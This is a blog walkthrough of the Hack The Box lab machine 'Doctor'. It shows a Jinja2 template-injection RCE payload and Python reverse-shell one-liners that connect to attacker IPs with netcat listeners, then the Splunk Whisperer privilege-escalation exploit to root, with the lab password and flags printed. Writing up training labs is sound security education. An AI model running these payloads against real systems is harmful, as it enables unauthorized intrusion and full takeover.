← Home

Hack The Box : Doctor

12 December, 2020

Starting off with an nmap scan

Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 10.10.10.209
Host is up (0.16s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (91%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Adtran 424RG FTTH gateway (86%), Linux 2.6.32 - 3.1 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   160.10 ms 10.10.14.1
2   160.71 ms 10.10.10.209

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.54 seconds

At the first look, the website on port 80 didn't offer any information.

Splunk on 8089 was responding by resetting the connection.

I found the Splunk Atom feed

Initially I was thinking of brute-forcing the password to the "services" endpoint since it didn't seem to have a rate limit configured.

Took another look at the website and found the mention of the domain doctors.htb. Adding it to my /etc/hosts I landed on a completely different page. I also found out a hidden nedpoint /archive that would display XML containing the post title.

After researching my options at this stage, I found out about template injection. The /archive response was vulnerable to template injection, as was evident after I entered {{7*7}} in the input

<?xml version="1.0" encoding="UTF-8" ?>
		<rss version="2.0">
		<channel>
				<title>Archive</title>
				<item><title>49</title></item>
		</channel>

After trying out a number of payloads from [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection), this one worked

{{config.__class__.__init__.__globals__['os'].popen('pwd').read()}}

I started exploring around a bit using this RCE and found a file /home/web/blog.sh

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
		<channel>
		<title>Archive</title>
		<item><title>#!/bin/bash
				SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/run.py
		</title></item>
</channel>

Ultimately I did manage to get a reverse shell using this payload

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.15\",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'").read()}}{%endif%}{% endfor %}
kali@kali:~$ nc -lvnp 1235
listening on [any] 1235 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.209] 46602
web@doctor:~$ whoami
whoami
web
web@doctor:~$

Again, browsing the files, I stumbled upon a password in the logs, specifically /var/log/apache2/backup: Guitar123

I was able to escalate to shaun using the password, and thus retrieve the user flag

web@doctor:/var/log/apache2$ su - shaun
su - shaun
Password: Guitar123
shaun@doctor:~$ cd ~
cd ~
shaun@doctor:~$ ls
ls
linpeas.sh  user.txt
shaun@doctor:~$ cat user.txt
cat user.txt
27b03ab7348c8c321551314c51c41240

So Splunk was running as root and the credentials to /services was the same shaun:Guitar123

shaun@doctor:~$ ps aux | grep splunk
ps aux | grep splunk
root        1131  0.1  2.3 265920 94564 ?        Sl   17:32   0:05 splunkd -p 8089 start
root        1133  0.0  0.3  77664 15652 ?        Ss   17:32   0:00 [splunkd pid=1131] splunkd -p 8089 start [process-runner]

Using the Splunk Whisperer exploit I was able to get a reverse shell as root

shaun@doctor:/tmp$ python3 pysplunk.py --username=shaun --password=Guitar123 --payload="python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.119\",1236));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" --payload-file="lol"
<ty; pty.spawn(\"/bin/bash\")'" --payload-file="lol"
Running in local mode (Local Privilege Escalation)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpq53j32wu.tar
[.] Installing app from: /tmp/tmpq53j32wu.tar
[+] App installed, your code should be running now!

Press RETURN to cleanup


[.] Removing app...
[+] App removed

Press RETURN to exit


Bye!
shaun@doctor:/tmp$
kali@kali:~$ nc -lvnp 1236
listening on [any] 1236 ...
connect to [10.10.14.119] from (UNKNOWN) [10.10.10.209] 56014
root@doctor:/# ls
ls
bin    dev   lib    libx32      mnt   root  snap      sys  var
boot   etc   lib32  lost+found  opt   run   srv       tmp
cdrom  home  lib64  media       proc  sbin  swapfile  usr
root@doctor:/# cd /root
cd /root
root@doctor:/root# ls
ls
root.txt
root@doctor:/root# cat root.txt
cat root.txt
09eb448b1b85e40efdd7b782fbdf0fff
root@doctor:/root#